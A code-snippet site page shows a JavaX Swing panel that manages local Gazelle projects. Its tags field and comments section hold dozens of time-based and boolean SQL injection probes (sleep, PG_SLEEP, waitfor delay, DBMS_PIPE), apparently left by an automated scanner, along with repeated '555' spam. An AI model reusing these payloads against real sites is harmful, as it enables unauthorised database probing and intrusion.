Not logged in.  Login/Logout/Register | List snippets | | Create snippet | Upload image | Upload data

193
LINES

< > BotCompany Repo | #1034288 // G22DatabasesPanel

JavaX fragment (include) [tags: (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( @@iO6b5 @@OorNT archive6cnbp6u6 archivenBtfvvLK use-pretranspiled]

Uses 2164K of libraries. Click here for Pure Java version (70035L/371K).

srecord noeq G22DatabasesPanel(G22Utils g22utils) {
  delegate GazelleDB to G22Utils.
  delegate masterStuff to g22utils.
  
  JObjectTable<GazelleDB> table;
  FileWatchService dirWatcher;
  ReliableSingleThread rstUpdate = new(r _updateTable);
  
  cachedVisualize {
    table = swing(-> new JObjectTable);
    table.defaultAction(runnableToIVF1(rThread openDB));
    table.itemToMap = db -> {
      IG22LoadedDB loaded = db.loadedDB();
      ret litorderedmap(
        "Name" := db.name,
        "Directory" := f2s(db.dir),
        "Loaded" := loaded == null ? "No"
          : (loaded.hidden() ? "Yes (hidden)" : "Yes");      };

    var tbl = table.visualize();
    bindToComponent(tbl, -> {
      dirWatcher = new FileWatchService;
      dirWatcher.addNonRecursiveListener(g22utils.databasesMotherDir(), file -> {
        //print("G22DatabasesPanel File change: " + file);
        rstUpdate!;
      });
      masterStuff().onLoadedDBsChange(rstUpdate);
      rstUpdate!;
    }, -> {
      masterStuff().removeLoadedDBsChangeListener(rstUpdate);
      dispose dirWatcher;
    });

    ret withTopAndBottomMargin(jCenteredRaisedSection("Gazelle projects on this computer",
      northAndCenterWithMargins(
        jline(
          toolTip("Create a new Gazelle project", jbutton("New project...", rThread newDatabase))
        ),
        centerAndEastWithMargin(
          tbl,
          jscroll_vertical_borderless(vstackWithSpacing_fixed(
            // BUTTONS defined here
            
            DefaultButtonBorder(toolTip("Open selected project, keep other projects open too",
              tableDependentButton(table.table, "Open project", rThread openDB))),
            toolTip("Open selected project in hidden mode [without a window]",
              tableDependentButton(table.table, "Open hidden", rThread openDBHidden)),
            toolTip("Open selected project, close all other projects",
              tableDependentButton(table.table, "Switch to project", rThread switchToDB)),
            tableDependentButton(table.table, "Close project", rThread closeDB),
            tableDependentButton(table.table, "Rename project", rThread renameDB),
            tableDependentButton(table.table, "Delete project...", rThread deleteDB),
            tableDependentButton(table.table, "Browse files", rThread browse),
            tableDependentButton(table.table, "Export project as zip...", rThread exportAsZip),
            jThreadedButton("Import project from zip...", rThread importZip),
            jThreadedButton("Download project from Gaz.AI...", rThread downloadProject),
          )))));
  }
  
  void newDatabase {
    temp g22utils.enter();
    
    var tf = jtextfield();
    var lblDir = jlabel(" ");
    var lblStatus = jlabel(" ");
    var button = jThreadedButton("Create project", -> {
      temp g22utils.enter();
      
      S name = trim(tf.getText());
      File dir = newFile(g22utils.databasesMotherDir(), name);
      createEmptyConceptsFileInDir(dir);
      disposeFrame(tf);
      
      masterStuff().openDatabase(dir);
    });
    disableButton(button);
    onEnter(tf, button);
    
    onChange(tf, r {
      S name = trim(tf.getText());
      bool ok;
      S status = " ", path = " ";
      if (isValidFileName(name)) {
        File dir = newFile(g22utils.databasesMotherDir(), name);
        path = f2s(dir);
        if (dirExists(dir))
          status = "A project with that name exists";
        else
          ok = true;
      } else if (!empty(name))
        status = "Project name must be a valid file name";
      setEnabled(button, ok);
      setText(lblStatus, status);
      setText(lblDir, path);
    });
    
    showForm_makeFrame("New Gazelle Project",
      vstackWithSpacing(
        withLabel("Name for new project", tf),
        lblDir,
        lblStatus,
        button);
  }

  void _updateTable { table.setData_force(g22utils.gazelleDBs()); }
  
  void browse { desktopOpen(table.selected().dir); }
  void openDB { masterStuff().openDatabase(table.selected().dir); }
  void openDBHidden { masterStuff().openDatabase(table.selected().dir, true); }
  void switchToDB { masterStuff().switchToDatabase(table.selected().dir); }
  void closeDB { masterStuff().closeDatabase(table.selected().dir); }
  
  void deleteDB {
    var db = table.selected();
    if (db == null) ret;
    
    var dir = db.dir();
    if (g22utils.isConceptsDir(dir))
      ret with messageBox("Can't delete current project");
      
    // First, close the databse
    masterStuff().closeDatabase(dir);
    new DeleteFilesDialog("Delete Gazelle project " + db.name())
      .wholeDirectory(dir).show();
  }
  
  void exportAsZip {
    // Get project directory to export
    File projectDir = table.selected().dir;
    
    // Make up a zip name + place and let user decide where to actually put it
    
    new JFileChooser fileChooser;
    fileChooser.setDialogTitle("Export project as zip");
    fileChooser.setSelectedFile(javaxBackupDir(projectDir.getName() + "-" + ymdMinusHMS() + ".zip"));
    var cbSubdirs = jcheckbox("Include subdirectories", true);
    fileChooser.setAccessory(withLeftMargin(cbSubdirs));

    // Show dialog    
    if (fileChooser.showSaveDialog(visualize()) != JFileChooser.APPROVE_OPTION) ret;
    
    // User has confirmed, proceed with export
    File zip = fileChooser.getSelectedFile();
    S prefix = projectDir.getName() + "/";
    if (isChecked(cbSubdirs))
      dir2zip_recurse(projectDir, zip, prefix);
    else
      dir2zip(projectDir, zip, prefix);
    
    // Show note
    fileSavedInfoBox(zip);
    
    // Try to open in file manager
    desktopOpen(dirOfFile(zip));
  }
  
  void importZip { pcall-messagebox {
    new JFileChooser fc;
    fc.setDialogTitle("Import project from zip");
    fc.setCurrentDirectory(javaxBackupDir());
    if (fc.showOpenDialog(visualize()) == JFileChooser.APPROVE_OPTION) {
      File zip = fc.getSelectedFile();
      g22utils.importProjectFromZip(zip);
    }
  }}
  
  void downloadProject {
    if (gazAICredentialsFromJavaXSecret() == null)
      ret with messageBox("Please enter Gaz.AI credentials first");
      
    inputText("Project to download", projectName -> { pcall-messagebox {
      var zip = g22utils.downloadProjectFromGazAI(gazAICredentialsFromJavaXSecret(), projectName);
      if (swingConfirm("Install downloaded project?"))
        g22utils.importProjectFromZip(zip);
    }});
  }
  
  void renameDB {
    File dir = table.selected().dir;
    
    inputText("New name", fileName(dir), newName -> {
      assertValidFileName(newName);
      if (!eq(newName, fileName(dir))) {
        bool open = masterStuff().isConceptDirLoaded(dir);
        if (open)
          masterStuff().closeDatabase(dir);
        renameFileVerbose(dir, newName);
        if (open)
          masterStuff().openDatabase(dir);
      }
    });
  }
}

download  show line numbers  debug dex  old transpilations   

Relations

Travelled to 4 computer(s): bhatertpkbcr, ekrmjmnbrukm, mowyntqkapby, mqqgnosmbjvj

Comments [hide]

ID Author/Program Comment Date
1716 ubataecj 555 2024-04-06 17:29:03
1715 ubataecj 555 2024-04-06 17:29:03
1714 ubataecj 555 2024-04-06 17:29:03
1713 ubataecj 555 2024-04-06 17:29:01
1712 ubataecj 555 2024-04-06 17:28:58
1710 ubataecj 555 2024-04-06 17:28:54
1709 ubataecj 555 2024-04-06 17:28:52
1708 ubataecj 555 2024-04-06 17:28:42
1707 ubataecj 555 2024-04-06 17:28:36
1706 ubataecj 555 2024-04-06 17:28:31
1705 ubataecj 555 2024-04-06 17:28:21
1704 ubataecj 555 2024-04-06 17:28:19
1701 ubataecj 555 2024-04-06 17:28:05
1691 ubataecj 555 2024-04-06 17:28:00
1687 ubataecj 555 2024-04-06 17:27:57
1684 ubataecj @@rHaoY 2024-04-06 17:27:54
1682 ubataecj 555????%2527%2522\'\" 2024-04-06 17:27:54
1681 ubataecj 555'" 2024-04-06 17:27:54
1680 ubataecj 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2024-04-06 17:27:54
1677 ubataecj 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2024-04-06 17:27:52
1674 ubataecj 555lOW42cX0')) OR 907=(SELECT 907 FROM PG_SLEEP(15))-- 2024-04-06 17:27:49
1671 ubataecj 555taY8iV8C') OR 910=(SELECT 910 FROM PG_SLEEP(15))-- 2024-04-06 17:27:45
1668 ubataecj 555FM3VQnWW' OR 635=(SELECT 635 FROM PG_SLEEP(15))-- 2024-04-06 17:27:43
1665 ubataecj 555-1)) OR 260=(SELECT 260 FROM PG_SLEEP(15))-- 2024-04-06 17:27:40
1662 ubataecj 555-1) OR 22=(SELECT 22 FROM PG_SLEEP(15))-- 2024-04-06 17:27:36
1659 ubataecj 555-1 OR 532=(SELECT 532 FROM PG_SLEEP(15))-- 2024-04-06 17:27:34
1656 ubataecj 555Jr9WBJQk'; waitfor delay '0:0:15' -- 2024-04-06 17:27:31
1653 ubataecj 555-1 waitfor delay '0:0:15' -- 2024-04-06 17:27:29
1650 ubataecj 555-1); waitfor delay '0:0:15' -- 2024-04-06 17:27:26
1648 ubataecj 555-1; waitfor delay '0:0:15' -- 2024-04-06 17:27:23
1645 ubataecj (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2024-04-06 17:27:21
1642 ubataecj 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z 2024-04-06 17:27:18
1634 ubataecj 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z 2024-04-06 17:27:13
1629 ubataecj 555*if(now()=sysdate(),sleep(15),0) 2024-04-06 17:27:11
1618 ubataecj -1" OR 2+689-689-1=0+0+0+1 -- 2024-04-06 17:27:08
1616 ubataecj -1' OR 2+538-538-1=0+0+0+1 or 'P4C5laao'=' 2024-04-06 17:27:08
1615 ubataecj -1' OR 2+130-130-1=0+0+0+1 -- 2024-04-06 17:27:07
1614 ubataecj -1 OR 2+628-628-1=0+0+0+1 2024-04-06 17:27:06
1613 ubataecj -1 OR 2+798-798-1=0+0+0+1 -- 2024-04-06 17:27:06
1612 ubataecj 555 2024-04-06 17:27:06
1605 ubataecj 555 2024-04-06 17:27:03
1601 ubataecj 555 2024-04-06 17:27:01
1600 ubataecj 555 2024-04-06 17:27:01
1599 ubataecj 555 2024-04-06 17:27:01
1595 ubataecj 555 2024-04-06 17:26:58
1583 ubataecj 555 2024-04-06 17:26:51
1579 ubataecj 555 2024-04-06 17:26:48
1575 ubataecj 555 2024-04-06 17:26:45
1571 ubataecj 555 2024-04-06 17:26:43
1562 ubataecj 555 2024-04-06 17:26:40
1558 ubataecj 555 2024-04-06 17:26:39
1557 ubataecj 555 2024-04-06 17:26:36
1554 ubataecj 555 2024-04-06 17:26:35
1551 ubataecj 555 2024-04-06 17:26:32
1530 ubataecj 555 2024-04-06 17:26:20
1519 ubataecj 555 2024-04-06 17:26:17
1513 ubataecj 555 2024-04-06 17:26:13
1510 ubataecj @@MfG45 2024-04-06 17:26:11
1509 ubataecj 555????%2527%2522\'\" 2024-04-06 17:26:11
1508 ubataecj 555'" 2024-04-06 17:26:10
1507 ubataecj 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 2024-04-06 17:26:10
1504 ubataecj 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 2024-04-06 17:26:07
1501 ubataecj 5555QRtEGz4')) OR 578=(SELECT 578 FROM PG_SLEEP(15))-- 2024-04-06 17:26:05
1498 ubataecj 555WuRo3hjz') OR 526=(SELECT 526 FROM PG_SLEEP(15))-- 2024-04-06 17:26:02
1495 ubataecj 555y1xPrY8S' OR 457=(SELECT 457 FROM PG_SLEEP(15))-- 2024-04-06 17:25:58
1492 ubataecj 555-1)) OR 94=(SELECT 94 FROM PG_SLEEP(15))-- 2024-04-06 17:25:53
1489 ubataecj 555-1) OR 503=(SELECT 503 FROM PG_SLEEP(15))-- 2024-04-06 17:25:47
1486 ubataecj 555-1 OR 896=(SELECT 896 FROM PG_SLEEP(15))-- 2024-04-06 17:25:39
1483 ubataecj 555QPdWgJic'; waitfor delay '0:0:15' -- 2024-04-06 17:25:33
1480 ubataecj 555-1 waitfor delay '0:0:15' -- 2024-04-06 17:25:25
1477 ubataecj 555-1); waitfor delay '0:0:15' -- 2024-04-06 17:25:19
1474 ubataecj 555-1; waitfor delay '0:0:15' -- 2024-04-06 17:25:12
1471 ubataecj (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 2024-04-06 17:25:09
1468 ubataecj 5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z 2024-04-06 17:25:06
1460 ubataecj 5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z 2024-04-06 17:25:00
1452 ubataecj 555*if(now()=sysdate(),sleep(15),0) 2024-04-06 17:24:42
1449 ubataecj -1" OR 2+695-695-1=0+0+0+1 -- 2024-04-06 17:24:25
1447 ubataecj -1' OR 2+818-818-1=0+0+0+1 or 'glo0hq0U'=' 2024-04-06 17:24:22
1445 ubataecj -1' OR 2+201-201-1=0+0+0+1 -- 2024-04-06 17:24:19
1443 ubataecj -1 OR 2+449-449-1=0+0+0+1 2024-04-06 17:24:19
1442 ubataecj -1 OR 2+987-987-1=0+0+0+1 -- 2024-04-06 17:24:17
1441 ubataecj 555 2024-04-06 17:24:17
1439 ubataecj 555 2024-04-06 17:24:06
1436 ubataecj 555 2024-04-06 17:24:01
1435 ubataecj 555 2024-04-06 17:24:01
1434 ubataecj 555 2024-04-06 17:24:01
1433 ubataecj 555 2024-04-06 17:24:01
1431 ubataecj 555 2024-04-06 17:23:58
1429 ubataecj 555 2024-04-06 17:23:54
1427 ubataecj 555 2024-04-06 17:23:51
1425 ubataecj 555 2024-04-06 17:23:48
1423 ubataecj 555 2024-04-06 17:23:45
1421 ubataecj 555 2024-04-06 17:23:42
1419 ubataecj 555 2024-04-06 17:23:40
1417 ubataecj 555 2024-04-06 17:23:37
1415 ubataecj 555 2024-04-06 17:23:33
1413 ubataecj 555 2024-04-06 17:23:31
1412 ubataecj 555 2024-04-06 17:23:31
1411 ubataecj 555 2024-04-06 17:23:31
1410 ubataecj 555 2024-04-06 17:23:31
1409 ubataecj 555 2024-04-06 17:23:30
1408 ubataecj 555 2024-04-06 17:23:30
1406 ubataecj 555 2024-04-06 17:23:27

add comment

Snippet ID: #1034288
Snippet name: G22DatabasesPanel
Eternal ID of this version: #1034288/93
Text MD5: 0401533e34f18c86f38648b737aaba11
Transpilation MD5: 3b9c8da579a7004e705d3ddf5e1152bc
Author: stefan
Category: javax / gazelle v
Type: JavaX fragment (include)
Public (visible to everyone): Yes
Archived (hidden from active list): No
Created/modified: 2024-04-06 01:14:11
Source code size: 7049 bytes / 193 lines
Pitched / IR pitched: No / No
Views / Downloads: 613 / 1239
Version history: 92 change(s)
Referenced in: [show references]